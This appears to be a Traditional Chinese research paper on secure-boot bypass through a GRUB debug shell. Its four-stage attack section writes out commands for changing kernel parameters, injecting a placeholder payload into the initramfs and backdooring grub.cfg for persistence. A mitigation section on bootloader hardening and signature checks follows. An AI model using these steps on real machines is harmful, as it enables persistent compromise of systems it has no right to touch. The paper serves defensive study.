摘要
本研究論文檢視安全開機實施(Secure boot implementation)中允許透過 Debug shell 進行未授權initramfs注入的關鍵安全漏洞。本研究展示攻擊者如何利用實際存取權限，通過在初始開機階段操縱開機參數來繞過既定的安全機制。我們的分析顯示， Debug shell 雖然對系統診斷有價值，但在生產環境中若未妥善保護，會造成顯著的安全風險。
通過詳細的技術檢驗，我們記錄了完整的攻擊方法，包括GRUB命令操縱、Kernel參數修改及malicious initramfs部署。本研究進一步探討有效的緩解策略，強調全面 bootloader 安全設定及硬體保護機制的的重要性。
簡介
安全開機實施(Secure boot implementation)是系統完整性的關鍵基礎，旨在從初始韌體執行到作業系統啟動建立信任鏈。現代系統在開機程序的每個階段採用加密驗證，以防止未授權的程式碼執行。儘管有這些安全措施，研究已發現攻擊者若具有系統實際存取權限，可利用的漏洞。
本研究特別聚焦於 bootloader 實施(Bootloader implementation)中的 Debug shell 漏洞向量。 Debug shell 為系統管理員提供診斷功能，但在生產環境中若可存取，則成為關鍵漏洞。我們的調查展示 Debug shell 如何被武器化，通過initramfs操縱來破壞安全開機程序。
initramfs（initial RAM filesystem）在現代開機程序中扮演關鍵角色，提供臨時 Root filesystem，在掛載實際 Root partition前載入必要模組。這一早期執行階段使initramfs成為攻擊者尋求建立持久性或繞過安全控制的吸引目標。本論文記錄了一種利用 Debug shell 存取操縱開機程序並注入malicious initramfs payloads的特定攻擊方法。
安全開機程序概覽
安全開機程序在多個階段採用加密驗證，建立信任鏈。這通常包括以下組件：
每個組件的完整性取決於對後續組件的正確驗證。 Debug shell 通常在 bootloader 階段提供存取，允許管理員修改Kernel參數或載入替代設定。本研究展示此功能如何被利用來繞過安全控制。
Initramfs功能
Initial RAM filesystem在開機程序中執行數個關鍵功能：
- 載入必要的硬體驅動程式與Kernel模組
- 提供 Root Filesystem 解密工具（LUKS等）
- 處理特殊儲存設定（RAID、LVM、網路）
- 在掛載 Root Partition 前執行完整性檢查
"initramfs在系統初始化的最安全關鍵 stages 以Kernel層級權限執行。在此階段的危害為攻擊者提供對開機程序的完全控制。" [1]
漏洞分析
發現的漏洞圍繞在 bootloader 實施中的 Debug shell 存取。雖然這些介面通常受到密碼認證保護，但我們已辨識出多種可繞過此保護的情境：
攻擊表面組件
攻擊表面包含數個相互關聯的組件：
- # Bootloader configuration with debug shell enabled
- set timeout=5
- menuentry 'Standard Boot' {
- linux /vmlinuz root=/dev/sda1
- initrd /initramfs.img
- }
- # Vulnerability: Debug shell accessible without proper authentication
- terminal_input console
- terminal_output console
攻擊前提條件
成功利用需要以下條件：
- 對目標硬體的實際存取
- bootloader 設定為具有 Debug shell 存取
- 認證機制不足或可繞過
- 必要時能從外部媒體開機
我們的調查發現，許多生產系統為了診斷目的保留 Debug shell ，但未實施足夠的存取控制。此設定疏忽造成本文記載的漏洞。
攻擊方法
攻擊方法包含四個不同階段，逐步危害開機程序的更多組件：
階段1： Debug shell 存取
攻擊者通過與目標系統的實際互動獲得 bootloader Debug shell 存取。這通常在初始倒數階段中斷標準開機程序來實現。
- # Interrupting boot process to access GRUB command line
- Press 'c' during boot: entering command line interface
- grub>
階段2：開機參數操縱
獲得命令列存取後，攻擊者修改Kernel參數以啟用除錯功能並指定替代initramfs位置：
- # Modifying kernel boot parameters
- grub> set root=(hd0,msdos1)
- grub> linux /vmlinuz root=/dev/sda1 break=premount rdinit=/bin/sh
- grub> initrd /initramfs.img
- grub> boot
break=premount
參數在掛載 Root filesystem 前中斷開機程序，而
rdinit=/bin/sh
指定替代的初始化程序。
階段3：Malicious Initramfs注入
在中斷的開機序列期間，攻擊者以包含malicious payloads的修改版本替換標準initramfs：
- # Mounting original initramfs and injecting payload
- / # mkdir /mnt/orig
- / # mount /dev/sda1 /mnt/orig
- / # cpio -id < /mnt/orig/initramfs.img
- / # echo "malicious_payload &" >> init
- / # find . | cpio -o -H newc > /mnt/orig/initramfs.img
階段4：持久性建立
最後階段確保malicious initramfs在重啟後保持持久性：
- # Backdooring the bootloader configuration
- / # sed -i 's/initramfs.img/initramfs.backdoor.img/' /mnt/orig/boot/grub/grub.cfg
- / # mv /mnt/orig/initramfs.img /mnt/orig/initramfs.backdoor.img
此修改確保在後續開機時載入受損的initramfs，建立對系統的持久存取。
"Bootloader 中的 Debug shell 創造了一個常被忽視的攻擊表面。修改Kernel參數和initramfs載入行為的能力從根本上破壞了安全開機保證。" [1]
緩解策略
有效的緩解需要結合設定強化、加密保護和實際安全措施的多層次方法：
bootloader 強化
適當設定 bootloader 安全設定提供第一道防線：
| 緩解措施 | 實施方式 | 有效性 |
|---|---|---|
| 密碼保護 | 使用PBKDF2進行GRUB密碼雜湊 | 高（使用強密碼時） |
| 關閉 Debug shell | 移除終端輸入/輸出指令 | 高 |
| 開機參數鎖定 | 鎖定關鍵Kernel參數 | 中 |
| 安全開機驗證 | 使用簽章組件的UEFI安全開機 | 高 |
加密保護
在整個開機鏈中實施加密驗證：
- # Example GRUB configuration with signature enforcement
- set check_signatures=enforce
- trust (hd0,msdos1)/boot/grub/pubkey.gpg
- menuentry 'Verified Boot' --unrestricted {
- linux /vmlinuz root=/dev/sda1 ro
- initrd /initramfs.img
- }
硬體安全
利用硬體安全功能提供穩健的保護：
- 可信平台模組（Trusted Platform Module, TPM）用於開機完整性測量
- 使用自訂金鑰的UEFI安全開機
- 硬體強制的開機順序鎖定
- 實際入侵檢測機制
"Hardware-rooted 信任機制為防止實際開機攻擊提供最有效的保護，但必須正確設定以防止通過除錯介面繞過。" [1]
結論
本研究展示了允許 Debug shell 存取的安全開機實施中的重大漏洞。記載的攻擊方法顯示攻擊者如何通過initramfs注入繞過關鍵安全控制，儘管有安全開機保護，仍建立對系統的持久存取。
我們的發現強調 bootloader 中的除錯功能在生產環境中部署時會造成顯著的安全風險。系統管理員必須仔細評估 Debug shell 的必要性，並在需要此功能時實施強大的安全控制。
有效的緩解需要結合 bootloader 強化、所有開機組件的加密驗證及硬體安全機制的全面方法。未來研究應探索除錯功能的更強大隔離及防止開機程序操縱的硬體強制保護。
本研究突顯了在潛在敵對環境中運行的系統，針對實際攻擊保護開機程序的持續挑戰以及深度防禦策略的關鍵重要性。